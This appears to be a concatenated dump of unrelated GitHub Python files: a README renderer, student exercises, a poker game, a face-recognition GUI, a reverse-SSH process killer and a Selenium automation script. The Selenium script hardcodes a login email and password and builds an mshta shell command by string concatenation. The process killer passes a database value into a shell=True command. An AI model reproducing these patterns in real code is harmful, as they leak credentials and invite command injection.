GithubWrapper(token)\n df = df_input.copy()\n df[\"_repopath\"] = df[\"githuburl\"].apply(lambda x: urlparse(x).path.lstrip(\"/\"))\n df[\"_reponame\"] = df[\"_repopath\"].apply(lambda x: ghw.get_repo(x).name)\n df[\"_stars\"] = df[\"_repopath\"].apply(lambda x: ghw.get_repo(x).stargazers_count)\n df[\"_forks\"] = df[\"_repopath\"].apply(lambda x: ghw.get_repo(x).forks_count)\n df[\"_watches\"] = df[\"_repopath\"].apply(lambda x: ghw.get_repo(x).subscribers_count)\n df[\"_topics\"] = df[\"_repopath\"].apply(lambda x: ghw.get_repo(x).get_topics())\n df[\"_language\"] = df[\"_repopath\"].apply(lambda x: ghw.get_repo(x).language)\n df[\"_homepage\"] = df[\"_repopath\"].apply(lambda x: ghw.get_repo(x).homepage)\n df[\"_description\"] = df[\"_repopath\"].apply(\n lambda x: _display_description(ghw, x)\n )\n df[\"_organization\"] = df[\"_repopath\"].apply(\n lambda x: x.split(\"/\")[0]\n )\n df[\"_updated_at\"] = df[\"_repopath\"].apply(\n lambda x: ghw.get_repo(x).updated_at.date()\n )\n df[\"_last_commit_date\"] = df[\"_repopath\"].apply(\n # E.g. Sat, 18 Jul 2020 17:14:09 GMT\n lambda x: datetime.strptime(\n ghw.get_repo(x).get_commits().get_page(0)[0].last_modified,\n \"%a, %d %b %Y %H:%M:%S %Z\",\n ).date()\n )\n df[\"_created_at\"] = df[\"_repopath\"].apply(\n lambda x: ghw.get_repo(x).created_at.date()\n )\n df[\"_age_weeks\"] = df[\"_repopath\"].apply(\n lambda x: (datetime.now().date() - ghw.get_repo(x).created_at.date()).days // 7\n )\n df[\"_stars_per_week\"] = df[\"_repopath\"].apply(\n lambda x: ghw.get_repo(x).stargazers_count * 7 / (datetime.now().date() - ghw.get_repo(x).created_at.date()).days\n )\n\n return df.sort_values(\"_stars\", ascending=False)\n\n\ndef lines_header(count, category=\"\") -> List[str]:\n category_line = f\"A selection of {count} curated Python libraries and frameworks ordered by stars. \\n\"\n if len(category) > 0:\n category_line = f\"A selection of {count} curated {category} Python libraries and frameworks ordered by stars. \\n\"\n\n return [\n f\"# Crazy Awesome Python\",\n category_line,\n f\"Checkout the interactive version that you can filter and sort: \",\n f\"[https://www.awesomepython.org/](https://www.awesomepython.org/) \\n\\n\",\n ]\n\n\ndef add_markdown(df) -> pd.DataFrame:\n df[\"_doclines_main\"] = df.apply(\n lambda x: make_markdown(x, include_category=True), axis=1\n )\n df[\"_doclines_child\"] = df.apply(\n lambda x: make_markdown(x, include_category=False), axis=1\n )\n return df\n","repo_name":"kr-muchiri/Python-Resources","sub_path":"src/library/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":5857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"29585022759","text":"\n### EJERCICIO DE PC ###\n\n\"\"\"\nDesarrollar e implentar un programa que permita formar dos listas de números enteros con datos aleatorios del 0 al 50. El tamaño de cada lista será ingresado como dato. Cada lista representa a un conjunto por lo tanto no contendrá elementos\nrepetidos. Con estas listas realice lo siguiente:\n• Imprima cada lista\n• Por medio de la una función Interseccion, halle la lista intersección, es decir aquella que contiene los elementos comunes a ambas listas. La función debe recibir como parámetros las dos listas y formar la lista intersección de modo tal que no contenga elementos repetidos.\n\"\"\"\n\nfrom random import randint\n\ndef llenar_lista(lista, n):\n while n > 0:\n num = randint(0, 50)\n if num not in lista:\n lista.append(num)\n n -= 1\n\ndef interseccion(lista1, lista2):\n lista_interseccion = []\n for elemento in lista1:\n if elemento in lista2:\n lista_interseccion.append(elemento)\n return lista_interseccion\n\nlista1 = []\nlista2 = []\n\nlong1 = int(input(\"Long1: \"))\nlong2 = int(input(\"Long2: \"))\n\nllenar_lista(lista1, long1)\nllenar_lista(lista2, long2)\n\nprint(lista1)\nprint(lista2)\n\nlista3 = interseccion(lista1, lista2)\n\nprint(lista3)\n","repo_name":"ChangKuoman/Mentoria-CS1111-2022-1","sub_path":"sesion8/s8.11.py","file_name":"s8.11.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20394551672","text":"import os\nimport sys\nimport pytz\nimport datetime\nimport subprocess\nfrom dotenv import load_dotenv\nfrom sqlalchemy.dialects.mysql import BIGINT\nfrom sqlalchemy.orm import declarative_base, sessionmaker\nfrom sqlalchemy import create_engine, Column, Integer, String, Enum, DateTime, func\n\n# Load the environment variables from .env file\nload_dotenv()\n\n# request terminate connection status\nrequest_terminate_connection_status = os.environ.get(\"REQUEST_TERMINATE_CONNECTION_STATUS\")\npid_server_terminated_connection_status = os.environ.get(\"PID_SERVER_TERMINATED_CONNECTION_STATUS\")\n\n# Get the database connection details from environment variables\ndb_host = os.environ.get(\"DB_HOST\")\ndb_port = os.environ.get(\"DB_PORT\")\ndb_name = os.environ.get(\"DB_DATABASE\")\ndb_user = os.environ.get(\"DB_USERNAME\")\ndb_password = os.environ.get(\"DB_PASSWORD\")\n\n# Define the database connection URL\ndb_url = f\"mysql+mysqlconnector://{db_user}:{db_password}@{db_host}:{db_port}/{db_name}\"\n\n# Create the SQLAlchemy engine\nengine = create_engine(db_url)\n\n# Create a session factory\nSession = sessionmaker(bind=engine)\n\n# Create a base class for declarative models\nBase = declarative_base()\n\n# Define the device model\nclass ConnectionStatusModel(Base):\n __tablename__ = \"connection_statuses\"\n id = Column(Integer, autoincrement=True, primary_key=True)\n name = Column(String)\n\n# Define the rssh connection model\nclass RSSHConnectionModel(Base):\n __tablename__ = \"rssh_connections\"\n id = Column(Integer, autoincrement=True, primary_key=True)\n server_port = Column(String)\n device_id = Column(BIGINT(unsigned=True))\n connection_status_id = Column(BIGINT(unsigned=True))\n created_at = Column(DateTime, default=func.now())\n updated_at = Column(DateTime, default=func.now(), onupdate=func.now())\n\n# Define the cron log model\nclass CronLogModel(Base):\n __tablename__ = \"cron_logs\"\n id = Column(Integer, autoincrement=True, primary_key=True)\n file_name = Column(String)\n log = Column(String)\n is_error = Column(Enum(\"no\", \"yes\", name=\"is_error\"))\n rssh_connection_id = Column(BIGINT(unsigned=True))\n created_at = Column(DateTime, default=func.now())\n updated_at = Column(DateTime, default=func.now(), onupdate=func.now())\n\n def __init__(\n self, file_name, log, is_error, rssh_connection_id, created_at, updated_at\n ):\n self.file_name = file_name\n self.log = log\n self.is_error = is_error\n self.rssh_connection_id = rssh_connection_id\n self.created_at = created_at\n self.updated_at = updated_at\n\n# Connect to the database\nsession = Session()\n\n# get time now\ndef get_time_now():\n # Set the desired time zone\n timezone = pytz.timezone(\"Asia/Jakarta\")\n\n # Get the current time in the specified time zone\n current_time = datetime.datetime.now(timezone)\n\n # Format the current time as a string\n return current_time.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n# create data cron log\ndef create_cron_log(session, log, is_error, rssh_connection_id):\n new_data = CronLogModel(\n file_name=\"terminate_pid.py\",\n log=log,\n is_error=is_error,\n rssh_connection_id=rssh_connection_id,\n created_at=get_time_now(),\n updated_at=get_time_now(),\n )\n session.add(new_data)\n\n# function for terminate process linux by port\ndef terminate_process_by_port(session, port, rssh_connection_id):\n try:\n # Execute the lsof command to get the process ID (PID) by port\n cmd = f\"lsof -i :{port} -t\"\n output = subprocess.check_output(cmd, shell=True).decode().strip()\n if output:\n pid = int(output)\n subprocess.call([\"kill\", \"-9\", str(pid)])\n log = f\"Success terminated process with PID: {pid}\"\n create_cron_log(session, log, \"no\", rssh_connection_id)\n else:\n log = f\"No process found with the specified port : {port}\"\n create_cron_log(session, log, \"yes\", rssh_connection_id)\n sys.exit(0)\n except subprocess.CalledProcessError:\n log = f\"Error executing the lsof command : lsof -t -i : {port}\"\n create_cron_log(session, log, \"yes\", rssh_connection_id)\n sys.exit(0)\n\ndef update_status_rss_connection(session, rssh_connection_id, connection_status):\n connection_status = (\n session.query(ConnectionStatusModel).filter_by(name=connection_status).first()\n )\n session.query(RSSHConnectionModel).filter(\n RSSHConnectionModel.id == rssh_connection_id\n ).update(\n {\n RSSHConnectionModel.connection_status_id: connection_status.id,\n RSSHConnectionModel.updated_at: get_time_now(),\n },\n synchronize_session=False,\n )\n\n# Query the rss_connections table with the condition\nconnection_status = (\n session.query(ConnectionStatusModel)\n .filter_by(name=request_terminate_connection_status)\n .first()\n)\nrssh_connections = (\n session.query(RSSHConnectionModel)\n .filter_by(connection_status_id=connection_status.id)\n .all()\n)\n\n# Iterate over the retrieved connections and print the data\nif rssh_connections:\n for rsshc in rssh_connections:\n id = rsshc.id\n server_port = rsshc.server_port\n terminate_process_by_port(session, server_port, id)\n update_status_rss_connection(session, id, pid_server_terminated_connection_status)\nelse:\n print(\"No request to dismiss PID\")\n\n# Close the session\nsession.commit()\nsession.close()\n","repo_name":"visi-global-teknologi/small-tools-reverse-ssh","sub_path":"python/linux-server/terminate_pid.py","file_name":"terminate_pid.py","file_ext":"py","file_size_in_byte":5463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74791960242","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport random\nimport utils\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nstack_size=10\n\n\n# # LeducGame class definition\n\nclass LeducGame:\n deck = []\n firstplayer=None; #0 if player1 and 1 if player2\n hand_player1=0;\n hand_player2=0;\n boardcard=0;\n result=0;\n step_number=0\n roundGame=0 #0 preflop, 1 postflop\n game_round=0\n pot=None\n stack1=None\n stack2=None\n lastAction=None\n current_player=None\n game_is_over=None #0 game is not over, #1 game is over\n actions_hist=[]\n #inititate a game\n def __init__(self):\n self.deck = [0,0,1,1,2,2]\n \n #deal card to game from deck\n self.hand_player1=utils.choose_and_remove(self.deck)\n self.hand_player2=utils.choose_and_remove(self.deck)\n self.boardcard=utils.choose_and_remove(self.deck)\n self.result=self.get_result()\n self.firstplayer=random.randrange(0,2)\n self.step_number=0\n self.game_round=0\n self.pot=0\n self.stack1=stack_size\n self.stack2=stack_size\n self.current_player=self.firstplayer\n self.game_is_over=0 #0 not over, 1 over\n \n\t\t#small blind at the beginning of the game\n self.pot=2\n self.stack1=self.stack1-1\n self.stack2=self.stack2-1\n \n #allow to print leduc game state\n def __str__(self):\n return \"FirstPlayer = {} \\nHand1 = {} \\nHand2 = {} \\nBoard = {} \\nDeck = {}\\nResult = {}\\nStack1={}\\nStack2={}\\nPot={}\\nStep={}\\nRound={}\\nGameIsOver={}\\nCurrent_player{}\\n\\n\".format(self.firstplayer,self.hand_player1,self.hand_player2,self.boardcard,self.deck, self.result,self.stack1,self.stack2,self.pot,self.step_number,self.game_round,self.game_is_over, self.current_player)\n \n def get_firstplayer(self):\n return self.firstplayer\n \n def get_hand_player1(self):\n return self.hand_player1\n \n def get_hand_player2(self):\n return self.hand_player2\n \n def get_boardcard(self):\n return self.boardcard\n \n def get_current_player(self):\n return self.current_player\n \n def is_game_over(self):\n return self.game_is_over\n \n def get_game_round(self):\n return self.game_round\n \n #result() : \n # 0 -> draw\n # 1 -> player1 win\n #-1 -> player2 win\n def get_result(self): #determine the best hand\n #Pairs\n if (self.hand_player1==self.boardcard):\n result=1\n elif (self.hand_player2==self.boardcard):\n result=-1\n #Highest card\n elif (self.hand_player1>self.hand_player2):\n result=1\n elif(self.hand_player1 'TreeNode':\n # Iterative Solution\n stack = [root]\n \n parent = {root: None}\n \n while p not in parent or q not in parent:\n node = stack.pop()\n \n if node.left:\n parent[node.left] = node\n stack.append(node.left)\n if node.right:\n parent[node.right] = node\n stack.append(node.right)\n \n ancestors = set()\n \n while p:\n ancestors.add(p)\n p = parent[p]\n \n \n while q not in ancestors:\n q = parent[q]\n \n return q\n \n \n \n # Recursive Solution\n # TC: O(n) and SC: O(n) \n# self.dfs(root, p, q)\n# return self.result\n \n# def dfs(self, root, p, q):\n# if not root:\n# return False\n# left = self.dfs(root.left, p, q)\n# right = self.dfs(root.right, p, q)\n \n# # If the current node is p or q\n# mid = root == p or root == q\n \n# # If any two of the three Flags left, right, mid becomes True\n# if mid + left + right >= 2:\n# self.result = root\n \n# return mid or left or right\n \n \n","repo_name":"Darshak1997/leet-Code","sub_path":"LCA_BinaryTree.py","file_name":"LCA_BinaryTree.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32212289338","text":"from enum import Enum\n\n# Extensions of files parsed as public key files\nPUBLIC_KEY_FILE_EXTENSIONS = (\n '.asc',\n '.pub',\n)\n\n# Required capabilities for keys\nREQUIRED_CAPABILITIES = (\n 'encrypt',\n)\n\n\nclass KeyCapability(Enum):\n \"\"\"\n Key capabilities\n \"\"\"\n ENCRYPT = 'encrypt'\n SIGN = 'sign'\n CERTIFY = 'certify'\n AUTHENTICATION = 'authentication'\n UNKNOWN = 'unknown'\n\n\nclass KeyValidityStatus(Enum):\n \"\"\"\n Expected values for key validity status field§\n \"\"\"\n DISABLED = 'disabled'\n EXPIRED = 'expired'\n INVALID = 'invalid'\n REVOKED = 'revoked'\n SPECIAL = 'special'\n UNKNOWN = 'unknown'\n\n\nclass KeyValidityTrust(Enum):\n \"\"\"\n Expected values for key validity trust values\n \"\"\"\n MARGINAL = 'marginal'\n FULL = 'full'\n ULTIMATE = 'ultimate'\n WELL_KNOWN = 'well-known'\n\n\nclass KeyRecordType(Enum):\n \"\"\"\n Types of data in key records\n \"\"\"\n FINGERPRINT = 'fpr'\n PUBLIC_KEY = 'pub'\n SUB_KEY = 'sub'\n USER_ATTRIBUTE = 'uat'\n USER_ID = 'uid'\n\n\nclass KeyTrustDB(Enum):\n \"\"\"\n Values in owner trust database exports / imports\n \"\"\"\n UNKNOWN = 2\n UNTRUSTED = 3\n MARGINAL = 4\n FULL = 5\n ULTIMATE = 6\n\n\n# Accepted PGP key validity states for password store encryption\nACCEPTED_VALIDITY_STATES = (\n KeyValidityTrust.FULL,\n KeyValidityTrust.ULTIMATE,\n)\n\nFIELD_KEY_CAPABILITIES = 'key_capabilities'\nFIELD_CREATION_DATE = 'creation_date'\nFIELD_EXPIRATION_DATE = 'expiration_date'\nFIELD_KEY_ID = 'key_id'\nFIELD_KEY_LENGTH = 'key_length'\nFIELD_KEY_VALIDITY = 'validity'\nFIELD_RECORD_TYPE = 'record_type'\nFIELD_USER_ID = 'user_id'\n\n# Key capability field values\nKEY_CAPABILITIES = {\n 'e': KeyCapability.ENCRYPT,\n 's': KeyCapability.SIGN,\n 'c': KeyCapability.CERTIFY,\n 'a': KeyCapability.AUTHENTICATION,\n '?': KeyCapability.UNKNOWN,\n}\n\n# Validity flag values in gpg key details\nKEY_VALIDITY_FLAGS = {\n 'o': KeyValidityStatus.UNKNOWN,\n 'i': KeyValidityStatus.INVALID,\n 'd': KeyValidityStatus.DISABLED,\n 'r': KeyValidityStatus.REVOKED,\n 'e': KeyValidityStatus.EXPIRED,\n '-': KeyValidityStatus.UNKNOWN,\n 'q': KeyValidityStatus.UNKNOWN,\n 'n': KeyValidityStatus.INVALID,\n 's': KeyValidityStatus.SPECIAL,\n 'm': KeyValidityTrust.MARGINAL,\n 'f': KeyValidityTrust.FULL,\n 'u': KeyValidityTrust.ULTIMATE,\n 'w': KeyValidityTrust.WELL_KNOWN,\n}\n\n# String representations of trust values\nTRUSTDB_TRUST_LABELS = {\n KeyTrustDB.UNKNOWN: 'unknown',\n KeyTrustDB.UNTRUSTED: 'untrusted',\n KeyTrustDB.MARGINAL: 'marginal',\n KeyTrustDB.FULL: 'full',\n KeyTrustDB.ULTIMATE: 'ultimate'\n}\n\n\nKEY_FIELDS = (\n 'record_type',\n 'validity',\n 'key_length',\n 'public_key_algorithm',\n 'key_id',\n 'creation_date',\n 'expiration_date',\n 'key_hash',\n 'owner_trust',\n 'user_id',\n 'signature_class',\n 'key_capabilities',\n 'issuer_certificate_signature',\n 'flag',\n 'token_serial_number',\n 'hash_algorithm',\n 'curve_name',\n 'compliance_flags',\n 'last_update',\n 'origin',\n 'comments',\n)\n\nKEY_DATE_FIELDS = (\n 'creation_date',\n 'expiration_date',\n 'last_update',\n)\n","repo_name":"hile/gpg-keymanager","sub_path":"gpg_keymanager/keys/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"10094781013","text":"class TeleCoffeHandler:\n # This class handles orders for teleco's breakfast\n\n def __init__(self):\n # Initialize the handler to connect with the DB.\n # initORMHandler is a function in this class that is not included \n # cause it is not in the scope of this kata.\n self.mORMHandler = initORMHandler()\n\n # Initialize the handler to connect with the payment system\n # initWalletHandler is a function in this class that is not included \n # cause it is not in the scope of this kata.\n self.mWalletHandler = initWalletHandler()\n\n def getBravasUnit():\n self.mORMHandler.checkEnoughExistences('bravas', 1)\n bravasPrize = self.mORMHandler.getPrize('bravas')\n self.mWalletHandler.checkEnoughMoney(bravasPrize)\n self.mWalletHandler.spendMoney(bravasPrize)\n return self.mORMHandler.get('bravas', 1)\n\n def getBravasPack():\n self.mORMHandler.checkEnoughExistences('bravas', 5)\n bravasPrize = self.mORMHandler.getPrize('bravas')\n self.mWalletHandler.checkEnoughMoney(bravasPrize * 5)\n self.mWalletHandler.spendMoney(bravasPrize * 5)\n return self.mORMHandler.get('bravas', 5)\n\n def getPechuguitoUnit():\n self.mORMHandler.checkEnoughExistences('pechuguito', 1)\n pechuguitoPrize = self.mORMHandler.getPrize('pechuguito')\n self.mWalletHandler.checkEnoughMoney(pechuguitoPrize)\n self.mWalletHandler.spendMoney(pechuguitoPrize)\n return self.mORMHandler.get('pechuguito', 1)\n\n def getPechuguitoPack():\n self.mORMHandler.checkEnoughExistences('pechuguito', 5)\n pechuguitoPrize = self.mORMHandler.getPrize('pechuguito')\n self.mWalletHandler.checkEnoughMoney(pechuguitoPrize * 5)\n self.mWalletHandler.spendMoney(pechuguitoPrize * 5)\n return self.mORMHandler.get('pechuguito', 5)","repo_name":"solidgear/codekatas","sub_path":"week2/CodeKata2.py","file_name":"CodeKata2.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"21153338808","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\nfrom os import system\nimport subprocess\n\ndef shell(cmd):\n return subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read().decode('utf-8')\n\ndef msg(title, text): # Windows Only\n shell(\"mshta \\\"javascript:var sh=new ActiveXObject( 'WScript.Shell' ); sh.Popup( '\"+text+\"', 10, '\"+title+\"', 64 );close()\\\"\")\n\ndef aksesxpath(driver, xpath):\n try:\n wait = WebDriverWait(driver, 5)\n return wait.until(EC.visibility_of_element_located((By.XPATH, str(xpath))))\n except Exception as e:\n print(e)\n return False\n\ndef main():\n try:\n chrome_options = Options()\n chrome_options.add_argument(\"user-data-dir=cookie\")\n driver = webdriver.Chrome(executable_path=\"C:\\\\Users\\\\yourPath\\\\toChromeDriver\\\\chromedriver.exe\", chrome_options=chrome_options)\n driver.get('https://github.com/strongpapapazola/selenium') \n\n aksesxpath(driver, '/html/body/div[1]/div/div/div/div/div[2]/div/div[2]/form/div[1]/div[1]/div/span/span[1]/span/span[1]').click()\n aksesxpath(driver, '/html/body/span/span/span[1]/input').clear()\n aksesxpath(driver, '/html/body/span/span/span[1]/input').send_keys(\"Insert Keys\")\n while True:\n if aksesxpath(driver, '/html/body/span/span/span[2]/ul/li').text != 'Searching…': # Wait Loading\n aksesxpath(driver, '/html/body/span/span/span[2]/ul/li').click()\n break\n time.sleep(1)\n except:\n print('Gagal Login')\n input('[enter to login]')\n aksesxpath(driver, '/html/body/div[1]/div/div/form/div[1]/input').send_keys('sadmin@gmail.com')\n aksesxpath(driver, '/html/body/div[1]/div/div/form/div[2]/input').send_keys('p4pu4b4r4t')\n aksesxpath(driver, '/html/body/div[1]/div/div/form/div[3]/button').click()\n driver.close()\n\nif '__main__' == __name__:\n print('Warning', 'Pastikan QUIS 6 BARIS!!')\n # while True:\n # try:\n # main()\n # except Exception as e:\n # print(e)\n main()\n","repo_name":"strongpapazola/selenium","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32890007867","text":"#untuk memanggil data dari directory\nimport os\nfrom os import listdir\nfrom numpy import asarray, expand_dims\nfrom keras.models import load_model\nimport numpy as np\nimport pickle\nimport random\n\n# Library Image Processing\nfrom PIL import Image\nimport cv2\n\n# GUI\nimport tkinter as tk\n\ndef rekamWajah():\n kRandom = random.randint(0, 999999)\n faceDir = 'Assets/data/'\n camera = cv2.VideoCapture(1)\n codec = cv2.VideoWriter_fourcc(\t'M', 'J', 'P', 'G'\t)\n camera.set(6, codec)\n camera.set(5, 60)\n camera.set(3, 1280)\n camera.set(4, 720)\n\n cascade = cv2.CascadeClassifier('Assets/model/cascade/haarcascade_frontalface_default.xml')\n while(1):\n retV, gambar = camera.read()\n abuabu = cv2.cvtColor(gambar, cv2.COLOR_BGR2BGRA)\n wajah = cascade.detectMultiScale(abuabu, 1.1, 4)\n for (x,y,w,h) in wajah:\n jumlah = 0\n gambar = cv2.rectangle(gambar, (x,y), (x+w, y+h), (107, 235, 52), 2)\n namaFile = str(entry1.get()) + '.' + str(entry2.get()) +'.'+str(kRandom)+'.jpg'\n cv2.imwrite(faceDir +'/'+ namaFile , abuabu[y:y+h, x:x+w])\n cv2.putText(gambar,'Tekan ENTER untuk Ambil Gambar', (360, 640),cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 0), 2, cv2.LINE_AA)\n cv2.imshow('Mengambil', gambar)\n \n\n\n k = cv2.waitKey(1)\n if k == 13: #Tombol Enter untuk ambil gambar\n break\n\n\n \n camera.release()\n cv2.destroyAllWindows()\n\n\ndef trainWajah():\n #Training Gambar\n FaceNet = load_model('Assets/model/keras/facenet_keras.h5') \n cascade = cv2.CascadeClassifier('Assets/model/cascade/haarcascade_frontalface_default.xml')\n # Proses Training\n FaceDir='assets/data/'\n database = {}\n\n for filename in listdir(FaceDir):\n if filename.endswith('png') or filename.endswith('jpg'):\n path = FaceDir\n gambar = cv2.imread(FaceDir + filename)\n \n wajah = cascade.detectMultiScale(gambar,1.1,4)\n \n if len(wajah)>0:\n x1, y1, width, height = wajah[0] \n else:\n x1, y1, width, height = 1, 1, 10, 10\n \n x1, y1 = abs(x1), abs(y1)\n x2, y2 = x1 + width, y1 + height\n \n gbr = cv2.cvtColor(gambar, cv2.COLOR_RGB2BGR)\n gbr = Image.fromarray(gbr) # konversi dari OpenCV ke PIL\n gbr_array = asarray(gbr)\n \n face = gbr_array[y1:y2, x1:x2] \n \n face = Image.fromarray(face) \n face = face.resize((160,160))\n face = asarray(face)\n \n face = face.astype('float32')\n mean, std = face.mean(), face.std()\n face = (face - mean) / std\n \n face = expand_dims(face, axis=0)\n sign = FaceNet.predict(face)\n \n database[os.path.basename(filename).split('.',1)[0]]=sign\n\n myfile = open('Assets/train/train.pkl', 'wb')\n pickle.dump(database, myfile)\n myfile.close()\n # print(database)\n print('Train Complete')\n\ndef MainMenu():\n os.system('python welcome.py')\n\ndef Quit():\n root.destroy()\n\n#Membuat GUI DetectFace\nroot = tk.Tk()\nroot.resizable(width=False, height=False)\nroot.title('Pendaftaran Absensi Menggunakan Face Recognition')\nroot.iconbitmap('assets/photocameraoutline_80020.ico')\n# mengatur canvas (window tkinter)\ncanvas = tk.Canvas(root, width=700, height=400)\ncanvas.grid(columnspan=3, rowspan=8)\ncanvas.configure(bg='#908de0')\n# judul\njudul = tk.Label(root, text='ALAT PENDETEKSI WAJAH', font=('Arial',34), fg='black' ,bg='#908de0')\ncanvas.create_window(350, 60, window=judul)\n\nnote = tk.Label(root, text = 'MASUKKAN DATA TERLEBIH DAHULU', font=('Arial',15), fg='black' ,bg='#908de0')\ncanvas.create_window(350, 120, window=note)\n\n# for entry data nama\nentry1 = tk.Entry (root, font='Roboto')\ncanvas.create_window(457, 185, height=25, width=411, window=entry1)\nlabel1 = tk.Label(root, text='NAMA', font='Arial', fg='black' ,bg='#908de0')\ncanvas.create_window(85 , 185, window=label1)\n\n\n# for entry data kelas\nentry2 = tk.Entry (root, font='Roboto')\ncanvas.create_window(457, 225, height=25, width=411, window=entry2)\nlabel3 = tk.Label(root, text='PEKERJAAN', font='Arial', fg='black' ,bg='#908de0')\ncanvas.create_window(110, 225, window=label3)\n\n\n#Tombol Rekam dan Kembali\nintructions = tk.Label(root, text='TEKAN AMBIL GAMBAR UNTUK MEMULAI PENGENALAN WAJAH', font=('Arial',15),fg='black',bg='#908de0')\ncanvas.create_window(350, 300, window=intructions)\nRekam_text = tk.StringVar()\nRekam_btn = tk.Button(root, textvariable=Rekam_text, font='Arial', bg='#5a9676', fg='white', height=2, width=30,command=lambda:(rekamWajah(),trainWajah(),Quit(),MainMenu()))\nRekam_text.set('AMBIL GAMBAR')\nRekam_btn.grid(column=0, row=7)\n\nRekam_textExit = tk.StringVar()\nRekam_btnExit = tk.Button(root, textvariable=Rekam_textExit, font='Arial', bg='#eb8686', fg='white', height=2, width=30, command=lambda:(Quit(), MainMenu()))\nRekam_textExit.set('KEMBALI')\nRekam_btnExit.grid(column=2, row=7)\n\n\nroot.mainloop()","repo_name":"dimzzky/Absence-with-Facenet-keras","sub_path":"TakeImage.py","file_name":"TakeImage.py","file_ext":"py","file_size_in_byte":5159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17164598810","text":"from random import randrange, shuffle\r\nfrom gr_genregraph import GenreGraph\r\nfrom gr_graphhashmap import GraphHashmap\r\nfrom gr_node import GameNode\r\nfrom gr_hashmap import Hashmap\r\nfrom gr_quicksort import quicksort_tuple\r\nfrom gr_maxheap import maxheaper\r\nfrom game_database_sep import genre_sample, special_sample, genre_dict, special_dict, game_nodes\r\nfrom gr_userdata import get_user_data, UserData, user_data, game_averages, unique_game_question\r\n\r\n\r\n\r\n\r\n# shuffles the games so that theres a bit of randomness in what is recommended\r\n# shuffles according to tiers so games that might not score high in the genre won't end up in the list unless the list is short\r\ndef game_list_shuffle(unshuffled_list, key, max_size):\r\n top_tier = []\r\n mid_tier = []\r\n bottom_tier = []\r\n \r\n for title in unshuffled_list:\r\n temp_value = title[1].genre_edges.get_value(key)\r\n if temp_value >= 80:\r\n top_tier.append(title[1])\r\n elif temp_value < 80 and temp_value > 50:\r\n mid_tier.append(title[1])\r\n else:\r\n bottom_tier.append(title[1])\r\n\r\n shuffle(top_tier)\r\n shuffle(mid_tier)\r\n shuffle(bottom_tier)\r\n\r\n unshuffled_list = top_tier + mid_tier + bottom_tier\r\n\r\n if len(unshuffled_list) < max_size:\r\n return unshuffled_list\r\n else:\r\n shuffle(unshuffled_list)\r\n return unshuffled_list[:max_size]\r\n\r\n\r\n# similar shuffle only with specially tuned list structures for the dfs algorithm\r\ndef game_list_shuffle_dfs(unshuffled_list, max_size):\r\n top_tier = []\r\n mid_tier = []\r\n bottom_tier = []\r\n \r\n for title in unshuffled_list:\r\n temp_value = title[0]\r\n if temp_value >= 80:\r\n top_tier.append(title)\r\n elif temp_value < 80 and temp_value > 50:\r\n mid_tier.append(title)\r\n else:\r\n bottom_tier.append(title)\r\n\r\n shuffle(top_tier)\r\n shuffle(mid_tier)\r\n shuffle(bottom_tier)\r\n\r\n unshuffled_list = top_tier + mid_tier + bottom_tier\r\n\r\n if len(unshuffled_list) < max_size:\r\n return unshuffled_list\r\n else:\r\n shuffle(unshuffled_list)\r\n return unshuffled_list[:max_size]\r\n\r\n\r\n\r\n# the math part of the algorithm\r\n# calculates the percentages and averages according to - times the game is accessed, genre like percentage, genre hate percentage\r\n# as the graph search runs down the paths, this keeps tabs on how often a game goes through the path queue.\r\ndef visited_tally(visited_titles, current_title, user_likes, user_hates, key):\r\n current_percent = current_title.genre_edges.get_value(key)\r\n user_hates_percent = 0\r\n\r\n if current_title in visited_titles.keys():\r\n total_percent = visited_titles[current_title][0]\r\n user_likes_percent = (user_likes[key]/100)\r\n\r\n # if the current key is in the user hates list, this will find the percentage to subtract from the total\r\n # to give the game less of chance of ending up in the list\r\n if key in user_hates.keys():\r\n user_hates_percent = (user_hates[key]/100)\r\n total_times = visited_titles[current_title][1]\r\n\r\n visited_titles[current_title] = [int(total_percent + (user_likes_percent * current_percent) - (user_hates_percent * current_percent)), total_times + 1]\r\n else:\r\n visited_titles[current_title] = [current_percent, 1]\r\n\r\n\r\n# to add more games to the path queue, the current games genres are accessed, and this function will find the next usable genre key\r\n# according to genre percentages. Takes into account likes, hates, and already visited\r\n# the already visited only counts per depth search of each liked genre\r\ndef get_next_key(visited_keys, current_edges, user_hates):\r\n \r\n current_idx = 0\r\n\r\n while len(current_edges) > current_idx:\r\n current_key = current_edges[current_idx][1]\r\n if current_key in user_hates or current_key in visited_keys:\r\n current_idx += 1\r\n else:\r\n return current_key\r\n \r\n current_idx += 1\r\n\r\n return None\r\n\r\n\r\n\r\n# BFS\r\n\r\n# even though its labeled bfs, its a combination of bfs and dfs - dfs in the way it finishes its depth search for each liked genre\r\n# before moving onto the next liked genre, but once the dfs is begun, it picks games based on a bfs path queue\r\ndef bfs(hashmap, user_likes, user_hates, played_games, max_search_depth=4):\r\n\r\n user_likes_keys = list(user_likes.keys())\r\n # debug - print(f\"ulk - {user_likes_keys}\")\r\n user_hates_keys = list(user_hates.keys())\r\n 